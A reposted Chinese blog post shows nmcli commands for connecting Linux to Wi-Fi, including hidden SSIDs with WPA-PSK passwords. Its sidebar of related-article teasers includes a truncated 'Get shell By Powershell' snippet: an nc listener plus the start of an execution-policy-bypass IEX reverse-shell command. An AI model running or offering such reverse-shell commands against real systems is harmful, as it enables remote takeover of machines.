linux下通过命令连接wifi

故事背景:我司是做新零售的,机器支持4G、wifi、网线,可能会涉及到网络的切换和连接

项目需求:用户在web端输入wifi名称和密码,客户端可以通过服务端下发的信息进行连接

技术调研:之前提到过nmcli指令,这次他又来了

a) 连接nmcli device wifi connect wifiname password wifipasswd

b) 删除nmcli con del wifiname

c) 启动nmcli connection up wifiname

d) 关闭nmcli connection down wifiname

如果wifi是隐藏的,那么上面的方法就行不通了,这里我在做一个补充:

根据wifi名字和wifi的device(INTERFACE )添加:nmcli c add type wifi con-name “NAME” ifname “INTERFACE” ssid “SSID” 这里的NAME和SSID都写wifi名称即可,INTERFACE就是wifi的DEVICE(nmcli device status可查看)

设置wifi的连接加密方式及密码:nmcli c modify “NAME” wifi-sec.key-mgmt wpa-psk wifi-sec.psk “PASSWORD”

启动wifi:nmcli c up “NAME”

关闭wifi:nmcli c down “NAME”

这个还是比较简单的,今天就介绍到这里,大家也可以根据自己的需求做一个扩展,随时留言进行技术交流和分享。

Original: https://www.cnblogs.com/xupeidong/p/11841982.html
Author: 徐沛东
Title: linux下通过命令连接wifi

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/606814/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • Java基础系列–01_基础类型

    J2SE、J2ME、J2EE分别指什么?J2SE 基础版,桌面应用。J2ME 微型版,手机开发。(android,ios)J2EE 企业版,所有浏览器访问的应用程序。注意:JDK5…

    Linux 2023年6月7日
    0103
  • 关系型、非关系型数据库存储选型盘点大全

    工作中总是遇到数据存储相关的 Bug 工单,新需求开发设计中也多多少少会有数据模型设计和存储相关的问题。经过几次存储方案设计选型和讨论后发现需要有更全面的思考框架。 日常开发中常用…

    Linux 2023年6月8日
    0114
  • vnc复制粘贴与禁止

    1.ubuntu服务器中安装了vncserver,启动服务。在另外一台机器上访问服务器,可以在服务器终端中执行vncconfig -nowin&(或者vncconfig&a…

    Linux 2023年6月13日
    097
  • 美团笔试(22.03.19)

    代码题 一共五道代码题,看了前面三道,ac了三道,后面两道题没有时间看,此处将对前三题进行记录总结,后附代码。 题意:给定一组n个商品的价格,下单购买商品时,必须购买前i个商品,即…

    Linux 2023年6月13日
    0105
  • 001.IT运维面试问题-Linux基础

    Redhat、CentOS、Fedora、SuSE、Debian、Ubuntu、FreeBSD等。 ⑴开机BIOS自检,加载硬盘。 ⑵读取MBR,MBR引导。 ⑶grub引导菜单(…

    Linux 2023年6月13日
    0107
  • 前端之CSS初识

    一、CSS介绍 CSS( Cascading Style Sheet,层叠样式表)定义 如何显示HTML元素。 当浏览器读到一个样式表,它就会按照这个样式表来对文档进行格式化(渲染…

    Linux 2023年6月14日
    0100
  • mycat数据库集群系列之mysql主从同步设置

    最近在梳理数据库集群的相关操作,现在花点时间整理一下关于mysql数据库集群的操作总结,恰好你又在看这一块,供一份参考。本次系列终结大概包括以下内容:多数据库安装、mycat部署安…

    Linux 2023年6月14日
    0102
  • Get shell By Powershell

    Invoke-PowerShellTcp.ps1 监听主机:nc -nv -l -p 9999 powershell -nop -exec bypass -c "IEX …

    Linux 2023年5月28日
    099
  • OpenWRT TP_LINK703N 校园网 锐捷认证解决办法

    OpenWRT TP_LINK703N 校园网 锐捷认证解决办法 一、准备的工具 1) SSH登录工具,推荐使用MobaXterm_Personal下载链接https://moba…

    Linux 2023年6月6日
    099
  • redis重点是 dir 的默认配置一定要改

    find / -name dump.rdb 发现有两个dump文件,这两个文件目录不一致,问题在于 redis.conf 文件属性dir,默认配置是dir ./ 表示在哪启动ser…

    Linux 2023年5月28日
    085
  • manjaro镜像官方下载

    manjaro国内下载地址,收藏 https://mirrors.tuna.tsinghua.edu.cn/osdn/storage/g/m/ma/manjaro-jp/ http…

    Linux 2023年6月8日
    0513
  • CentOS 文本编辑器

    Linux 终端的文本编辑器中,较著名的有:Nano、Vim、Emacs。其它文本编辑器还有 Gedit、Sublime,Atom 等等。 1.1、基础命令 nano:打开 nan…

    Linux 2023年6月8日
    0115
  • 高通平台如何避免误入FFBM模式

    前面两篇博客分别介绍了通过fastboot和QFIL工具退出FFBM模式的方法。虽然售后的同学可以这么指导用户做恢复,但步骤多操作也麻烦,且属于事后处理,如果大面积高概率地出现,会…

    Linux 2023年6月7日
    0107
  • 3.21 Linux PATH环境变量及作用(初学者必读)

    在讲解 PATH 环境变量之前,首先介绍一下 which 命令,它用于查找某个命令所在的绝对路径。例如: [root@localhost ~]# which rm /bin/rm …

    Linux 2023年6月7日
    090
  • 安装Redis

    1、下载redis 2、解压缩、安装 安装完之后,可以执行以下make test,执行make test之前需要先安装tcl 3、配置 redis服务后台启动 找到: 修改为: 4…

    Linux 2023年5月28日
    093
  • .htaccess文件解析漏洞

    前言 htaccess文件(或者”分布式配置文件”),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的…

    Linux 2023年6月13日
    082
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球